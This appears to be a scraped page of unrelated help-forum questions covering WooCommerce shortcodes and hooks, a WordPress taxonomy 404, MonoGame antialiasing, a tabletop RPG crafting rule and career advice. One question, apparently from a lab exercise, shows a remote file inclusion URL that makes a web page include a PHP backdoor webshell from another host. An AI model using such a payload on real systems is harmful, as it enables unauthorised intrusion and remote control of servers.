WooCommerce Multi-Currency shortcode not working

I’ve installed and activated WooCommerce Multi-Currency plugin. I’m still on the free version but I with that I can add two currencies. This works fine if I try to add the widget to the footer or some other widget area. But I need to have this in the top bar and it seems OceanWP does not have a widget area for that.

So I tried to add it with the shortcode [woocommerce-currency-selector format="{{code}}: {{name}} ({{symbol}})"]. But the shortcode just shows up as text. I’ve tried adding it with echo do_shortcode as well but it still shows up as text.

What am I missing?

Do you need to cast spells every day you are working on a construct?

Crafting magic items takes one day for every 1,000 gold pieces of its value and spells have to be cast every day. Although it takes one day for every 1,000 gold pieces to craft a construct as well, I can find no mention that you have to cast the required spells every day.

Can I nonetheless assume that spells have to be cast every day to craft a construct?

[ Other – Careers & Employment ] Open Question : How do I not get stuck working minimum wage my whole life?

I’m 23 and I’m currently making 8 dollars an hour. I work on cruise ship 12 hours a day every day. It’s ridiculously hard work but all my expenses are paid and I can save a lot of money while I’m here. Anyway I see people here who are in their 50s and 60s doing what I’m doing which is taking out trash and washing dishes. I don’t want to do this my entire life. How do I get out of it.

RFI not working properly, how to open a shell?

So when i am trying to backdoor a web page given to me to find a specific file, upon requesting a shell i am given the following warnings on the page, and no other information is given. Should a shell pop up? I am kind of new to RFI and this is my first time working through it.

The link i used is: http://10.102.x.x/description.php?page=http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php

The display when searching it was: Warning: include(http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php): failed to open stream: Connection refused in /var/www/html/description.php on line 5

Warning: include(): Failed opening ‘http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php’ for inclusion (include_path=’.:/usr/local/lib/php’) in /var/www/html/description.php on line 5

What is the issue? I am sort of stuck

Custom taxonomy template list not working (404)

I have created a custom post type ‘item’:

function mywp_add_item_post() {     $  labels = array(         'name' => 'Items',         'singular_name' => 'Item',         'add_new' => 'Add New Item',         'add_new_item' => 'Add New Item',         'edit_item' => 'Edit Item',         'new_item' => 'New Item',         'all_items' => 'All Items',         'view_item' => 'View Item',         'search_items' => 'Search Items',         'not_found' =>  'No Items Found',         'not_found_in_trash' => 'No Items found in Trash',          'parent_item_colon' => '',         'menu_name' => 'Items',         'show_in_nav_menus'=>true     );      $  args = array(         'labels' => $  labels,         'public' => true,         'has_archive' => true,         'show_ui' => true,         'capability_type' => 'post',         'hierarchical' => false,         'rewrite' => array('slug' => 'item'),         'query_var' => true,         'menu_icon' => 'dashicons-randomize',         'show_in_rest' => true,         'show_in_nav_menus'=>true,         'supports' => array('title', 'editor', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'thumbnail', 'author', 'page-attributes'));      register_post_type( 'item', $  args );   }  add_action( 'init', 'mywp_add_item_post'); 

A custom taxonomy named ‘collection’ is added:

function mywp_add_collection_taxonomy() {       $  labels= array('name' => _x( 'Collections', 'taxonomy general name' ),       'singular_name' => _x( 'Collection', 'taxonomy singular name' ),       'search_items' =>  __( 'Search Collections' ),       'all_items' => __( 'All Collection' ),       'parent_item' => __( 'Parent Collection' ),       'parent_item_colon' => __( 'Parent Collection:' ),       'edit_item' => __( 'Edit Collection' ),       'update_item' => __( 'Update Collection' ),       'add_new_item' => __( 'Add New Collection' ),       'new_item_name' => __( 'New Collection Name' ),       'menu_name' => __( 'Collections' ));        $  rewrite= array('slug' => 'collection');    $  args= array('hierarchical' => true,       'show_in_nav_menus' => true,       'has_archive' => true,       'labels'=>$  labels,       'query_var' => true,       'show_in_rest' => true,       'rewrite'=>$  rewrite);     register_taxonomy('collection', 'item', $  args); }  function mywp_tax_filters() {     register_taxonomy_for_object_type('collection', 'item'); }  add_action('init', 'mywp_add_collection_taxonomy', 1); add_action('init', 'mywp_tax_filters'); 

Object: I need a page to view the list of ‘collection’ that are not empty (like the default categories page)

  • A taxonomy template file (taxonomy-collection.php) is created within the theme directory.
  • Permalink structure is flushed.
  • I have added some ‘collections’ assigning ‘items’ inside them.

Problem: The link ‘$ site_url/collection’ shows 404 (not found).

Advance thanks for your thoughts on my problem and your patience to read it all through.

MonoGame model antialiasing not working

I’ve been following the guide at https://docs.microsoft.com/en-us/xamarin/graphics-games/monogame/3d/part1 to render a model in a bare bones MonoGame project. It works but I want to apply anti aliasing to make it look better.

I made the following changes to try and make this happen:

public Game1() {     graphics = new GraphicsDeviceManager(this);      // this part is added     graphics.PreferMultiSampling = true;     graphics.GraphicsProfile = GraphicsProfile.HiDef;     graphics.ApplyChanges();      Content.RootDirectory = "Content"; } 

and

protected override void Initialize() {     graphics.GraphicsDevice.PresentationParameters.MultiSampleCount = 8;     graphics.ApplyChanges();     // TODO: Add your initialization logic here      base.Initialize(); } 

But there is still aliasing on the model.

is_product_category(‘Services’) not working

I’d like to hide the “add to cart” & price for WooCommerce products in the ‘Services’ category.

I’ve tried the following code in my child theme’s functions.php, but https://pureblissmoonhealer.com/product-category/services/ still displays “add to cart” & price.

Help appreciated.

function insight_hide_price_add_cart_not_logged_in() {        if (! is_user_logged_in()) {         if (is_product_category('Services')) {             remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );             remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );             remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_price', 10 );             remove_action( 'woocommerce_after_shop_loop_item_title', 'woocommerce_template_loop_price', 10 );                add_action( 'woocommerce_single_product_summary', 'insight_print_register_to_see', 31 );             add_action( 'woocommerce_after_shop_loop_item', 'insight_print_register_to_see', 11 );         }     } }  function insight_print_register_to_see() { echo '<a href="' . get_permalink(wc_get_page_id('myaccount')) . '">' . __('Register to see prices', 'theme_name') . '</a>'; }  add_action( 'init', 'insight_hide_price_add_cart_not_logged_in' );